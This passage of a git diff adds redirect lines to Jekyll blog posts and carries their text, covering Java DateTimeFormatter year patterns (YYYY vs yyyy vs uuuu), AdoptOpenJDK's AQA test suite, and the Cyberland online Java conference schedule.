------ | ------------------------------------------ | -| MEIJI | The 'Meiji' era (1868-01-01 - 1912-07-29) | -| TAISHO | The 'Taisho' era (1912-07-30 - 1926-12-24) | -| SHOWA | The 'Showa' era (1926-12-25 - 1989-01-07) | -| HEISEI | The 'Heisei' era (1989-01-08 - current) | - -When using the 'Japanese Imperial calendar system' Java offers some additional classes to define time information. The following code creates a date based on the calendar and prints it based on different format pattern strings: - -{% highlight java %} -final JapaneseDate japaneseDate = JapaneseDate.of(JapaneseEra.MEIJI, 7, 3, 17); - -final String format1 = DateTimeFormatter.ofPattern("dd.MM.uuuu").format(japaneseDate); -final String format2 = DateTimeFormatter.ofPattern("dd.MM.yyyy").format(japaneseDate); -final String format3 = DateTimeFormatter.ofPattern("dd.MM.yyyy G").format(japaneseDate); - -System.out.println(format1); // prints '17.03.1874' -System.out.println(format2); // prints '17.03.0007' -System.out.println(format3); // prints '17.03.0007 Meiji' -{% endhighlight %} - -In this sample the usage between the two pattern `yyyy` and `uuuu` ends in a totally different result. - -## Conclusion - -Working with date and time information is always a complex topic. Normally people say that coding will become complex when timezone functionality is added. In the given examples we do not concern timezones at all and already found a lot of complex topics. All these topics can end in horrible bugs in business applications. - -For the initial problem, we can easily say that the `dd.MM.YYYY` pattern should never be used. If you want to use `dd.MM.yyyy` or `dd.MM.uuuu` in your application depends on your needs and how you want to visualize negative year information. Just saying that your application will never need to handle negative years is maybe not the best answer since we all just developers that create bugs from time to time ;) \ No newline at end of file +--- +layout: post +redirect_to: https://open-elements.com/posts/2020/02/15/back-to-the-future-with-java/ +title: 'Back to the future - with Java' +author: hendrik +featuredImage: back-to-java +excerpt: "Each year several Java applications might show wrong date information for the days around New + Year's Eve. This post gives an overview about the problem and describes how you can easily avoid such + bugs" +categories: [Java] +header: + text: A common problem with the date format + image: sample +--- +Since Java 8 we have a new date & time API as part of Java. The API is really good and offers a lot of functionality and flexibility. Based on this it’s much easier to handle date and time information in Java. But even with this new API, several use cases are still quite complex. When talking about problems with date and time information normally timezones are mentioned directly. In this post, I will show you that even the basic usage of date information can create problems. So we will forget all the timezone problems for now and have a look at a really easy use case: We want to print the year of a date. Maybe even this task can end in some trouble… + +Let's have a look at a simple code snippet: + +{% highlight java %} +final LocalDate myDate = LocalDate.of(2015, 11, 30); +final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("dd.MM.YYYY"); +final String formattedDate = formatter.format(myDate); +System.out.println("The date is " + formattedDate); +{% endhighlight %} + +Even if you have not used the API that often it's quite easy to understand that the code will print `The date is 30.11.2015` to the console. Based on this experience we can create a method like this: + +{% highlight java %} +/** +* Prints the given date in the format that is normally used in Europe. +* The format is described as +* [day of month (2 digits)].[month of year (2 digits)].[year (4 digits)] +* +* @param date the date +*/ +public static void printDate(final LocalDate date) {} + final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("dd.MM.YYYY"); + final String formattedDate = formatter.format(myDate); + System.out.println("The date is " + formattedDate); +} +{% endhighlight %} + +What if I tell you that this code already contains a common problem, that I've seen in several projects within the last years? To understand that problem we should call the method with a set of +different dates: + +* `LocalDate.of(2015, 11, 30)` results in `The date is 30.11.2015` +* `LocalDate.of(1992, 4, 12)` results in `The date is 12.04.1992` +* `LocalDate.of(2008, 12, 28)` results in `The date is 28.12.2008` +* `LocalDate.of(2021, 1, 1)` results in `The date is 01.01.2020` + +If you realized the mismatch and you are not aware of the problem you might ask yourself what the hell is happening here. While the first 3 example looks good the output of the last example contains a wrong year. You can easily try this on your own if you do not believe me ;) + +![Duke](/assets/posts/2020-02-15-back-to-the-future/duke-delorian.png) + +## It's not a bug, it's a feature + +To be true the described behavior is not a bug in the JDK, it's a feature that a lot of people are not aware of. So let's have a look at why the given output is correct and what we need to do to get our wanted behavior. + +The problem with our code is hidden in the usage of the `DateTimeFormatter`. To receive our date as a formatted string we use the pattern `dd.MM.YYYY`. Maybe you already asked yourself why the `d` in the pattern is written lowercase while the `M` and `Y` are written uppercase. Let's have a look at the [JavaDoc](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/time/format/DateTimeFormatter.html) of the `DateTimeFormatter` class and the definition of the pattern for formatting and parsing. +In the doc, you can find a table with a description of each supported letter in such a pattern. The following table contains only the letters that are interested in our use case: + +{:.table} +| letter | meaning | examples | +| ------ | --------------- | -------- | +| d | day-of-month | 10 | +| D | day-of-year | 189 | +| m | minute-of-hour | 30 | +| M | month-of-year | 7; 07 | +| y | year-of-era | 2004; 04 | +| Y | week-based-year | 1996; 96 | +| u | year | 2004; 04 | + +As you can see for all the letters that we used in the example the uppercase and lowercase variants have a different meaning. When having a look at the definition for day and month we can easily say that we have chosen the right pattern to format the string. It becomes more interesting when having a look at the year definition. As you can see the table contains 3 different letters (`y`, `Y`, and `u`) that can be used to define the format of a year in the pattern. + +### Finding the problem + +In our example, we used `YYYY` to define the year. Let's have a look at the definition of the parser letter `Y`. As you can see in the table it is defined as **'week-based-year'**. While the examples in the table looks fine this definition is the cause of our problem: + +The **'week-based-year'** type is defined by the 'ISO week date' that is part of ISO 8601. A detailed definition of this standard can be found at [wikipedia](https://en.wikipedia.org/wiki/ISO_week_date). The standard defines that a year has 52 or 53 full weeks. That is 364 or 371 days instead of the usual 365 or 366 days. In the definition weeks always start with Monday and the first week of a year is the week that contains the first Thursday of the year. + +By using this definition it can happen that the first days of a year are not part of the first week of the year but the last week of the previous year. Next to this the last days of December could be part of the first week of the next year. Here are some examples: + +* **December 29, 2014 (Monday)** is defined as part of the first week of the year 2015 since the Thursday of this week is the first Thursday in 2015 (1 January 2015). Based on this the `YYYY` pattern would result in 2015 for that date. +* **January 1, 2015 (Thursday)** is defined as part of the first week of the year 2015 since the Thursday of this week is the first Thursday in 2015. Based on this the `YYYY` pattern would result in 2015 for that date. +* **January 1, 2016 (Friday)** is defined as part of the last week of the year 2015 since the Thursday of this week is in 2015 (December 31, 2015). Based on this the `YYYY` pattern would result in 2015 for that date. + +Maybe you have noticed in the samples that both dates '1 January 2015' and '1 January 2016' will result in the same string by using the `dd.MM.YYYY` pattern ;) + +For most people, this ISO standard is not usable for their regular work. But as you have seen in the examples this can end in critical bugs in our software. + +Since we found the problem and understood the 'ISO week date' we can say that this is normally not the solution that we want to use in our software. The `DateTimeFormatter` class supports 2 other letters (`y` and `u`) to format year information. Let's have a look at these 2 options. + +### Working with eras + +It might look like it won't make any difference if you use `y` or `u` as a letter for years. As long as the date is within the current era everything is fine. The Gregorian Calendar uses the "Common Era" notation. Here the 2 eras **"Common Era" (CE)** and **"Before the Common Era" (BCE)** are used. We are currently in the "Common Era" that started with year 0. An end of the "Common Era" is not defined. This definition is an alternative to Dionysian “Before Christ” (BC) and “Anno Domini” (AD) definition that is numerically equivalent but uses a different (non-religious based) wording. + +![Eras](/assets/posts/2020-02-15-back-to-the-future/eras.png) + +When formatting a year by using the `DateTimeFormatter` class you can add the era to your custom pattern. The era is defined by the letter `G` as you can find out in the JavaDoc of `DateTimeFormatter`. The following table gives an overview how years will be formatted based on the 2 different types: + +{:.table} +| year (as number) | pattern 'uuuu' | pattern 'yyyy' | pattern 'yyyy G' | +| ---------------- | -------------- | -------------- | ---------------- | +| 2019 | 2019 | 2019 | 2019 AD | +| 3 | 0003 | 0003 | 0003 AD | +| 0 | 0000 | 0001 | 0001 BC | +| -1 | -0001 | 0002 | 0002 BC | +| -10 | -0010 | 0011 | 0011 BC | +| -2019 | -2019 | 2020 | 2020 BC | + +From my point of view, both pattern have their downsides. When using the `yyyy` pattern without adding information of the era you might get an output that will be interpreted wrong by a user. Imagine you have a mathematical bug in your software and calculate the year '-2019' as the final year of any contract. I would assume that it will be better to see '-2019' on screen/paper and recognize the error instead of '2020'. + +Another interesting point is that the result might be longer as the letter count in the `uuuu` pattern. As you can see in the table negative year numbers will have a `-` as a prefix when using the `uuuu` pattern. Based on this you can not trust the string length of a formatted date when using the `u` to format years. + +#### Other eras in Java + +Java supports different calendar systems next to the Gregorian Calendar. You can find a good example when having a look at the `JapaneseChronology` class that defines the 'Japanese Imperial calendar system' in Java. While I have absolutely no knowledge about that calendar system you can find out that is has several eras that are defined by the `JapaneseEra` class. This class contains several constants that define the eras of the calendar system: + +{:.table} +| name | meaning | +| ------ | ------------------------------------------ | +| MEIJI | The 'Meiji' era (1868-01-01 - 1912-07-29) | +| TAISHO | The 'Taisho' era (1912-07-30 - 1926-12-24) | +| SHOWA | The 'Showa' era (1926-12-25 - 1989-01-07) | +| HEISEI | The 'Heisei' era (1989-01-08 - current) | + +When using the 'Japanese Imperial calendar system' Java offers some additional classes to define time information. The following code creates a date based on the calendar and prints it based on different format pattern strings: + +{% highlight java %} +final JapaneseDate japaneseDate = JapaneseDate.of(JapaneseEra.MEIJI, 7, 3, 17); + +final String format1 = DateTimeFormatter.ofPattern("dd.MM.uuuu").format(japaneseDate); +final String format2 = DateTimeFormatter.ofPattern("dd.MM.yyyy").format(japaneseDate); +final String format3 = DateTimeFormatter.ofPattern("dd.MM.yyyy G").format(japaneseDate); + +System.out.println(format1); // prints '17.03.1874' +System.out.println(format2); // prints '17.03.0007' +System.out.println(format3); // prints '17.03.0007 Meiji' +{% endhighlight %} + +In this sample the usage between the two pattern `yyyy` and `uuuu` ends in a totally different result. + +## Conclusion + +Working with date and time information is always a complex topic. Normally people say that coding will become complex when timezone functionality is added. In the given examples we do not concern timezones at all and already found a lot of complex topics. All these topics can end in horrible bugs in business applications. + +For the initial problem, we can easily say that the `dd.MM.YYYY` pattern should never be used. If you want to use `dd.MM.yyyy` or `dd.MM.uuuu` in your application depends on your needs and how you want to visualize negative year information. Just saying that your application will never need to handle negative years is maybe not the best answer since we all just developers that create bugs from time to time ;) diff --git a/_posts/2020-02-21-adopt-tests.md b/_posts/2020-02-21-adopt-tests.md index d2db88d..22f89fb 100644 --- a/_posts/2020-02-21-adopt-tests.md +++ b/_posts/2020-02-21-adopt-tests.md @@ -1,82 +1,83 @@ ---- -layout: post -title: 'How AdoptOpenJDK provides enterprise ready OpenJDK builds' -author: hendrik -featuredImage: adopt-2 -excerpt: 'With the new licence of the Oracle JDK a lot of companies need to switch to a new JDK vendor. -With AdoptOpenJDK we have a community based alternative that provides free LTS JDK builds. In this post -I will have a deeper look at the infrastructure of the AdoptOpenJDK and how each build is tested to offer -production ready quality.' -categories: [Java, AdoptOpenJDK] -header: - text: AdoptOpenJDK test suite - image: sample ---- - -While in theory, everybody can build it's own JDK based on the OpenJDK sources you normally don't want to do that. For several years people downloaded JDK builds from Oracle but based on the [new Licence for Oracle JDKs]({{ site.baseurl }}{% post_url 2018-06-25-java-releases %}) this isn't that easy anymore. If you need an up-to-date Oracle JDK for production you need to buy commercial support from Oracle since last year. - -A lot of Linux users do not care about that problem since they used OpenJDK builds that were downloaded from an APT repository, for example. On Linux distributions like ubuntu you only need the following command to add a ready-to-use JDK installation to your system: - -{% highlight shell %} -sudo apt-get install openjdk -{% endhighlight %} - -While this sounds like a really easy solution there are several points that you normally can not answer based on this approach: - -* You do not know who has built this JDK binary -* You do not know if these binaries were built on the latest OpenJDK sources/tag -* You do not know if and how these binaries were tested. - -While you can find answers to some of the questions it is not a trivial task for a regular user. Especially the last question can normally not be answered. - -## AdoptOpenJDK for the rescue - -With [AdoptOpenJDK](https://adoptopenjdk.net) an open source project exists that has the main goal to solve all the mentioned problems by providing open, free, and well tested builds of the OpenJDK. Since last year I'm part of the [AdoptOpenJDK technical steering committee (TSC)](https://github.com/AdoptOpenJDK/TSC#the-tsc). I'm really happy to be part of the team and with way over **150.000.000 downloads** I can say that the project is a great success and brings a really important benefit to the Java community. With AdoptOpenJDK binaries you have a really good alternative next to downloading (and paying for) Oracle Java. If you have more questions about AdoptOpenOpenJDK just ping me or ask us directly in the [AdoptOpenJDK Slack](https://adoptopenjdk.slack.com/). - -![AdoptOpenJDK logo](/assets/posts/2020-02-21-adopt-tests/adopt-logo.png){:class="image-two-third-width"} - -In this article, I will give an overview of the test infrastructure of AdoptOpenJDK and describe the different types of tests that will be executed for each release. All this ends in a well tested distribution that is ready to use for the enterprise. - -{% include elements/block.html text="As the world of testing at AdoptOpenJDK is evolving and improving quickly, some information and descriptions of this article may fall behind the march of progress. The most updated documentation can always be found [in our github repo](https://github.com/AdoptOpenJDK/openjdk-tests)" %} - -## Guide to the test jobs at AdoptOpenJDK - -For all nightly and release builds, test jobs are running as part of the [AdoptOpenJDK continuous delivery pipelines]((ci.adoptopenjdk.net)). For the test step of a build, all tests are grouped by its type. Currently, the tests of AdoptOpenJDK are split into 6 different groups/types. When running the test phase on our CI servers the defined groups will be executed in parallel. All these tests are defined in the open source test framework [**AQA** (AdoptOpenJDK Quality Assurance)](https://blog.adoptopenjdk.net/2019/07/the-first-drop-introducing-adoptopenjdk-quality-assurance-aqa-v1-0) that is provided by AdoptOpenJDK and can be found [here](https://github.com/AdoptOpenJDK/openjdk-tests). The following image shows the simplified pipeline of the AdoptOpenJDK builds and all the different test groups that are part of the test step in each build: - -![ci pipeline](/assets/posts/2020-02-21-adopt-tests/ci-pipeline.png) - -Additional information about the test concept and the integration in the delivery pipeline can be found [at this blog post](https://blog.adoptopenjdk.net/2017/12/testing-java-help-count-ways). - -### Test groups - -As already mentioned all tests of AdoptOpenJDK are grouped based on its type in 6 different groups. The following table gives a first overview of the different test types: - - {:.table} - | name | Type | Description | - | ---------- | ----------------------------- | ----------------------------------------------------- | - | openjdk | OpenJDK regression tests | Tests from OpenJDK | - | system | System and load tests | Tests from the AdoptOpenJDK/openjdk-systemtest repo | - | external | 3rd party application tests | Test suites from a variety of applications, along with microprofile TCKs, run in Docker containers | - | perf | Performance benchmark suites | Performance benchmark tests (both full suites and microbenches) from different open-source projects such as Acme-Air and AdoptOpenJDK/bumblebench | - | functional | Unit and functional tests | Functional tests not originating from the openjdk regression suite, that include locale/language tests and a subset of implementation agnostic tests from the openj9 project. | - | jck | Compliance tests | TCK tests (under the OpenJDK Community TCK License Agreement), in compliance with the license agreement. While this test material is currently not run at the AdoptOpenJDK project (see the [support statement](https://adoptopenjdk.net/support.html#jck) for details), those with their own OCTLA agreements may use the AdoptOpenJDK test automation infrastructure to execute their TCK test material in their own private Jenkins servers. | - -As you can see next to the OpenJDK tests we added a lot of additional tests. The OpenJDK regression tests are a great start to test a JDK, but eventually, you may want to be able to test the performance of your code, and whether some 3rd party applications still work. Here all the other test types come in play. This does not only add performance tests and additional general unit tests. Next to those, the test framework contains test suites from several big players from the Java ecosystem to directly check the accurate functionality of important frameworks with the AdoptOpenJDK builds. AQA for example executes tests from [11+ popular Java applications](https://github.com/AdoptOpenJDK/openjdk-tests/tree/master/external) including all tests from [Apache Tomcat](http://tomcat.apache.org) project and all TCKs (Test Compatibility Kit) of the [Eclipse MicroProfile](https://microprofile.io) on the popular frameworks available (OpenLiberty, Payara, Tomee, and Thorntail). - -### Bundling all tests with AQA - -While this first looks like an impressive mix of several tests that will be executed individually for each build the underlying AQA platform does much more. Since we do not want to run test suites one after each other and end in several different test reports AQA provides a thin platform. This platform provides thin wrappers around the different test modules and assembles all in a single huge test suite. - -By using AQA, new tests or complete suites of tests can easily be added to the project and since AQA is open source any other project can easily adopt it. To be true some JDK vendors already use AQA today to test the builds of their JDK distributions. Some of them even integrate the Java TCK in AQA. While AdoptOpenJDK currently does not run the Java TCK and has [no agreement with Oracle](https://adoptopenjdk.net/quality.html#jck), AQA already provides everything to simply integrate the TCK for those who wish to include it and have an OCLTA license for those closed test materials. - -As you can see every AdoptOpenJDK build runs through a ‘we test the hell out of it’ job ;) And the project won’t stop here. More and more tests will be added to make AQA the perfect test suite for any JDK build. In general, you can define the benefits of AQA like this: - -* better, more flexible tests, with the ability to apply certain types of testing to different builds -* a common way to easily add, edit, group, include, exclude and execute tests on AdoptOpenJDK builds -* the latitude to use a variety of tests that use many different test frameworks -* test results to have a common look & feel for easier viewing and comparison -* easily run all types of tests via make targets in various CI environments - -## Guide to running the tests yourself - -Thanks to AQA you can even run all the tests by yourself on your own system and test any OpenJDK distribution. As already mentioned several other companies that provide OpenJDK distributions already use AQA to get better test coverage and quality for their commercial OpenJDK distributions. For more details on how to run the same tests as AdoptOpenJDK on your laptop or in your build farm, please consult the [official user guide](https://github.com/AdoptOpenJDK/openjdk-tests/blob/master/doc/userGuide.md). +--- +layout: post +redirect_to: https://open-elements.com/posts/2020/02/21/how-adoptopenjdk-provides-enterprise-ready-openjdk-builds/ +title: 'How AdoptOpenJDK provides enterprise ready OpenJDK builds' +author: hendrik +featuredImage: adopt-2 +excerpt: 'With the new licence of the Oracle JDK a lot of companies need to switch to a new JDK vendor. +With AdoptOpenJDK we have a community based alternative that provides free LTS JDK builds. In this post +I will have a deeper look at the infrastructure of the AdoptOpenJDK and how each build is tested to offer +production ready quality.' +categories: [Java, AdoptOpenJDK] +header: + text: AdoptOpenJDK test suite + image: sample +--- + +While in theory, everybody can build it's own JDK based on the OpenJDK sources you normally don't want to do that. For several years people downloaded JDK builds from Oracle but based on the [new Licence for Oracle JDKs]({{ site.baseurl }}{% post_url 2018-06-25-java-releases %}) this isn't that easy anymore. If you need an up-to-date Oracle JDK for production you need to buy commercial support from Oracle since last year. + +A lot of Linux users do not care about that problem since they used OpenJDK builds that were downloaded from an APT repository, for example. On Linux distributions like ubuntu you only need the following command to add a ready-to-use JDK installation to your system: + +{% highlight shell %} +sudo apt-get install openjdk +{% endhighlight %} + +While this sounds like a really easy solution there are several points that you normally can not answer based on this approach: + +* You do not know who has built this JDK binary +* You do not know if these binaries were built on the latest OpenJDK sources/tag +* You do not know if and how these binaries were tested. + +While you can find answers to some of the questions it is not a trivial task for a regular user. Especially the last question can normally not be answered. + +## AdoptOpenJDK for the rescue + +With [AdoptOpenJDK](https://adoptopenjdk.net) an open source project exists that has the main goal to solve all the mentioned problems by providing open, free, and well tested builds of the OpenJDK. Since last year I'm part of the [AdoptOpenJDK technical steering committee (TSC)](https://github.com/AdoptOpenJDK/TSC#the-tsc). I'm really happy to be part of the team and with way over **150.000.000 downloads** I can say that the project is a great success and brings a really important benefit to the Java community. With AdoptOpenJDK binaries you have a really good alternative next to downloading (and paying for) Oracle Java. If you have more questions about AdoptOpenOpenJDK just ping me or ask us directly in the [AdoptOpenJDK Slack](https://adoptopenjdk.slack.com/). + +![AdoptOpenJDK logo](/assets/posts/2020-02-21-adopt-tests/adopt-logo.png){:class="image-two-third-width"} + +In this article, I will give an overview of the test infrastructure of AdoptOpenJDK and describe the different types of tests that will be executed for each release. All this ends in a well tested distribution that is ready to use for the enterprise. + +{% include elements/block.html text="As the world of testing at AdoptOpenJDK is evolving and improving quickly, some information and descriptions of this article may fall behind the march of progress. The most updated documentation can always be found [in our github repo](https://github.com/AdoptOpenJDK/openjdk-tests)" %} + +## Guide to the test jobs at AdoptOpenJDK + +For all nightly and release builds, test jobs are running as part of the [AdoptOpenJDK continuous delivery pipelines]((ci.adoptopenjdk.net)). For the test step of a build, all tests are grouped by its type. Currently, the tests of AdoptOpenJDK are split into 6 different groups/types. When running the test phase on our CI servers the defined groups will be executed in parallel. All these tests are defined in the open source test framework [**AQA** (AdoptOpenJDK Quality Assurance)](https://blog.adoptopenjdk.net/2019/07/the-first-drop-introducing-adoptopenjdk-quality-assurance-aqa-v1-0) that is provided by AdoptOpenJDK and can be found [here](https://github.com/AdoptOpenJDK/openjdk-tests). The following image shows the simplified pipeline of the AdoptOpenJDK builds and all the different test groups that are part of the test step in each build: + +![ci pipeline](/assets/posts/2020-02-21-adopt-tests/ci-pipeline.png) + +Additional information about the test concept and the integration in the delivery pipeline can be found [at this blog post](https://blog.adoptopenjdk.net/2017/12/testing-java-help-count-ways). + +### Test groups + +As already mentioned all tests of AdoptOpenJDK are grouped based on its type in 6 different groups. The following table gives a first overview of the different test types: + + {:.table} + | name | Type | Description | + | ---------- | ----------------------------- | ----------------------------------------------------- | + | openjdk | OpenJDK regression tests | Tests from OpenJDK | + | system | System and load tests | Tests from the AdoptOpenJDK/openjdk-systemtest repo | + | external | 3rd party application tests | Test suites from a variety of applications, along with microprofile TCKs, run in Docker containers | + | perf | Performance benchmark suites | Performance benchmark tests (both full suites and microbenches) from different open-source projects such as Acme-Air and AdoptOpenJDK/bumblebench | + | functional | Unit and functional tests | Functional tests not originating from the openjdk regression suite, that include locale/language tests and a subset of implementation agnostic tests from the openj9 project. | + | jck | Compliance tests | TCK tests (under the OpenJDK Community TCK License Agreement), in compliance with the license agreement. While this test material is currently not run at the AdoptOpenJDK project (see the [support statement](https://adoptopenjdk.net/support.html#jck) for details), those with their own OCTLA agreements may use the AdoptOpenJDK test automation infrastructure to execute their TCK test material in their own private Jenkins servers. | + +As you can see next to the OpenJDK tests we added a lot of additional tests. The OpenJDK regression tests are a great start to test a JDK, but eventually, you may want to be able to test the performance of your code, and whether some 3rd party applications still work. Here all the other test types come in play. This does not only add performance tests and additional general unit tests. Next to those, the test framework contains test suites from several big players from the Java ecosystem to directly check the accurate functionality of important frameworks with the AdoptOpenJDK builds. AQA for example executes tests from [11+ popular Java applications](https://github.com/AdoptOpenJDK/openjdk-tests/tree/master/external) including all tests from [Apache Tomcat](http://tomcat.apache.org) project and all TCKs (Test Compatibility Kit) of the [Eclipse MicroProfile](https://microprofile.io) on the popular frameworks available (OpenLiberty, Payara, Tomee, and Thorntail). + +### Bundling all tests with AQA + +While this first looks like an impressive mix of several tests that will be executed individually for each build the underlying AQA platform does much more. Since we do not want to run test suites one after each other and end in several different test reports AQA provides a thin platform. This platform provides thin wrappers around the different test modules and assembles all in a single huge test suite. + +By using AQA, new tests or complete suites of tests can easily be added to the project and since AQA is open source any other project can easily adopt it. To be true some JDK vendors already use AQA today to test the builds of their JDK distributions. Some of them even integrate the Java TCK in AQA. While AdoptOpenJDK currently does not run the Java TCK and has [no agreement with Oracle](https://adoptopenjdk.net/quality.html#jck), AQA already provides everything to simply integrate the TCK for those who wish to include it and have an OCLTA license for those closed test materials. + +As you can see every AdoptOpenJDK build runs through a ‘we test the hell out of it’ job ;) And the project won’t stop here. More and more tests will be added to make AQA the perfect test suite for any JDK build. In general, you can define the benefits of AQA like this: + +* better, more flexible tests, with the ability to apply certain types of testing to different builds +* a common way to easily add, edit, group, include, exclude and execute tests on AdoptOpenJDK builds +* the latitude to use a variety of tests that use many different test frameworks +* test results to have a common look & feel for easier viewing and comparison +* easily run all types of tests via make targets in various CI environments + +## Guide to running the tests yourself + +Thanks to AQA you can even run all the tests by yourself on your own system and test any OpenJDK distribution. As already mentioned several other companies that provide OpenJDK distributions already use AQA to get better test coverage and quality for their commercial OpenJDK distributions. For more details on how to run the same tests as AdoptOpenJDK on your laptop or in your build farm, please consult the [official user guide](https://github.com/AdoptOpenJDK/openjdk-tests/blob/master/doc/userGuide.md). diff --git a/_posts/2020-03-12-cyberland.md b/_posts/2020-03-12-cyberland.md index 1654639..a9723d7 100644 --- a/_posts/2020-03-12-cyberland.md +++ b/_posts/2020-03-12-cyberland.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/de/posts/2020/03/12/about-cyberland-german/ layout: post title: 'About Cyberland [German]' author: hendrik diff --git a/_posts/2020-03-13-cyberland_en.md b/_posts/2020-03-13-cyberland_en.md index 0f5bb76..8c32ac4 100644 --- a/_posts/2020-03-13-cyberland_en.md +++ b/_posts/2020-03-13-cyberland_en.md @@ -1,45 +1,46 @@ ---- -layout: post -title: 'About Cyberland' -author: hendrik -featuredImage: cyberland-2 -excerpt: 'Based on the given circumstances (COVID-19) the JavaLand conferences has been canceled. This was the only solution that made sense for the organizers. We can understand that a lot of visitors and speakers are sad about this news. Based on this the German JUG community is organzing a 100% remote conference called Cyberland' -categories: [Java, Cyberland] -header: - text: About Cyberland - image: sample ---- - -Since several people of the international Java community asked me about Cyberland I decided to publish some English information about the event. In this post, you can find all currently available information about Cyberland. - -# What is Cyberland? - -based on the cancelation of the JavaLand conference we (the German JUG community) decided to organize a free remote event as at least a small replacement for JavaLand. This event that is called 'Cyberland' will offer a 100% online conference. Cyberland will take place next Tuesday (March 17, 2020). German information about JavaLand can be found [in my last post]({{ site.baseurl }}{% post_url 2020-03-12-cyberland %}) and [on the page of the CyberJUG](https://cyberjug.de/cyberland2020/). - -![Cyberland](/assets/posts/2020-03-13-cyberland_en/cyberland_1.png){:class="image-two-third-width"} - -# What content can I expect? - -Since today the schedule of Cyberland is online and I'm more than happy to announce that we will have 2 streams in parallel on the whole day :) - -The timetable looks like this: - -{:.table} -| TIME | ROOM 1 | ROOM 2 | -| ----- | -------------- | -------------- | -| 9:00 | __Welcome & Keynote__
Cyberland-Orga / Keynote by Carola Lilienthal | - | -| 10:00 | __Hybride Architekturen: Die Post-Microservice-Realität__
Eberhard Wolff | __Not Dead yet – Java on Desktop__
Gerrit Grunwald | -| 11:00 | __Java After Eight__
Nicolai Parlog | __Implementierung der DDD-Patterns mit Spring__
Michael Plöd | -| 12:00 | __5 Dinge für erfolgreiche Remote-Arbeit__
Sven Peters | __Testcontainers: a Year-in-review__
Kevin Wittek | -| 13:00 | __Todesursache: Hibernate__
Thorben Janssen | __Spezifikationstesten mit Spock vs. Mutationstesten__
Johannes Dienst & Ralf Müller | -| 14:00 | __Principles of Continuous Delivery and DevOps__
Bert Jan Schrijver | __Knative introduction for the curious Java Developer__
Roland Huss | -| 15:00 | __Service Mesh patterns__
Alex Soto | __Mögen die Tests mit dir sein__
Jochen Mader | -| 16:00 | __Asciidoctor Deep Dive__
Alexander Schwartz | __Kommunikation für Softwareentwickler und alle anderen__
Jens Schauder | -| 17:00 | __Developing w/ Kubernetes__
Ray Tsang | __API-Kompatibilität durch Consumer-Driven Contracts und CI/CD__
Arne Limburg | -| 18:00 | __Verabschiedung__
Cyberland-Orga | - | - -As you can see several of the talks are German since we decided to only add talks that were planned for JavaLand 2020. But since JavaLand always tries to offer a good mix between German and international / Englisch talks you can find 4 Englisch session in the schedule. Since Cyberland will be 100% free you might want to join 1 or 2 of them. Next to this we plan to record and publish all talks. Based on this you can easily watch them later if you can not attend on Tuesday. - -# What is the benefit against just watching recorded talks on YouTube? - -For sure a 100% online conference won't have the same experience as a regular conference. Based on this we decided to add some effort to make the experience as good as possible. We will have moderators in each room that collect questions from the audience and will do a live interview with each speaker after a session. Every attendee can simply ask questions in a chat. The moderator will target your questions and we can create a communication between the audience and the speaker. Next to this the moderators can help attendees with problems and answer general questions. \ No newline at end of file +--- +layout: post +redirect_to: https://open-elements.com/posts/2020/03/13/about-cyberland/ +title: 'About Cyberland' +author: hendrik +featuredImage: cyberland-2 +excerpt: 'Based on the given circumstances (COVID-19) the JavaLand conferences has been canceled. This was the only solution that made sense for the organizers. We can understand that a lot of visitors and speakers are sad about this news. Based on this the German JUG community is organzing a 100% remote conference called Cyberland' +categories: [Java, Cyberland] +header: + text: About Cyberland + image: sample +--- + +Since several people of the international Java community asked me about Cyberland I decided to publish some English information about the event. In this post, you can find all currently available information about Cyberland. + +# What is Cyberland? + +based on the cancelation of the JavaLand conference we (the German JUG community) decided to organize a free remote event as at least a small replacement for JavaLand. This event that is called 'Cyberland' will offer a 100% online conference. Cyberland will take place next Tuesday (March 17, 2020). German information about JavaLand can be found [in my last post]({{ site.baseurl }}{% post_url 2020-03-12-cyberland %}) and [on the page of the CyberJUG](https://cyberjug.de/cyberland2020/). + +![Cyberland](/assets/posts/2020-03-13-cyberland_en/cyberland_1.png){:class="image-two-third-width"} + +# What content can I expect? + +Since today the schedule of Cyberland is online and I'm more than happy to announce that we will have 2 streams in parallel on the whole day :) + +The timetable looks like this: + +{:.table} +| TIME | ROOM 1 | ROOM 2 | +| ----- | -------------- | -------------- | +| 9:00 | __Welcome & Keynote__
Cyberland-Orga / Keynote by Carola Lilienthal | - | +| 10:00 | __Hybride Architekturen: Die Post-Microservice-Realität__
Eberhard Wolff | __Not Dead yet – Java on Desktop__
Gerrit Grunwald | +| 11:00 | __Java After Eight__
Nicolai Parlog | __Implementierung der DDD-Patterns mit Spring__
Michael Plöd | +| 12:00 | __5 Dinge für erfolgreiche Remote-Arbeit__
Sven Peters | __Testcontainers: a Year-in-review__
Kevin Wittek | +| 13:00 | __Todesursache: Hibernate__
Thorben Janssen | __Spezifikationstesten mit Spock vs. Mutationstesten__
Johannes Dienst & Ralf Müller | +| 14:00 | __Principles of Continuous Delivery and DevOps__
Bert Jan Schrijver | __Knative introduction for the curious Java Developer__
Roland Huss | +| 15:00 | __Service Mesh patterns__
Alex Soto | __Mögen die Tests mit dir sein__
Jochen Mader | +| 16:00 | __Asciidoctor Deep Dive__
Alexander Schwartz | __Kommunikation für Softwareentwickler und alle anderen__
Jens Schauder | +| 17:00 | __Developing w/ Kubernetes__
Ray Tsang | __API-Kompatibilität durch Consumer-Driven Contracts und CI/CD__
Arne Limburg | +| 18:00 | __Verabschiedung__
Cyberland-Orga | - | + +As you can see several of the talks are German since we decided to only add talks that were planned for JavaLand 2020. But since JavaLand always tries to offer a good mix between German and international / Englisch talks you can find 4 Englisch session in the schedule. Since Cyberland will be 100% free you might want to join 1 or 2 of them. Next to this we plan to record and publish all talks. Based on this you can easily watch them later if you can not attend on Tuesday. + +# What is the benefit against just watching recorded talks on YouTube? + +For sure a 100% online conference won't have the same experience as a regular conference. Based on this we decided to add some effort to make the experience as good as possible. We will have moderators in each room that collect questions from the audience and will do a live interview with each speaker after a session. Every attendee can simply ask questions in a chat. The moderator will target your questions and we can create a communication between the audience and the speaker. Next to this the moderators can help attendees with problems and answer general questions. diff --git a/_posts/2020-07-14-adopt-roadshow.md b/_posts/2020-07-14-adopt-roadshow.md index 923df16..62da1d4 100644 --- a/_posts/2020-07-14-adopt-roadshow.md +++ b/_posts/2020-07-14-adopt-roadshow.md @@ -1,51 +1,51 @@ ---- -layout: post -title: 'AdoptOpenJDK Virtual Roadshow' 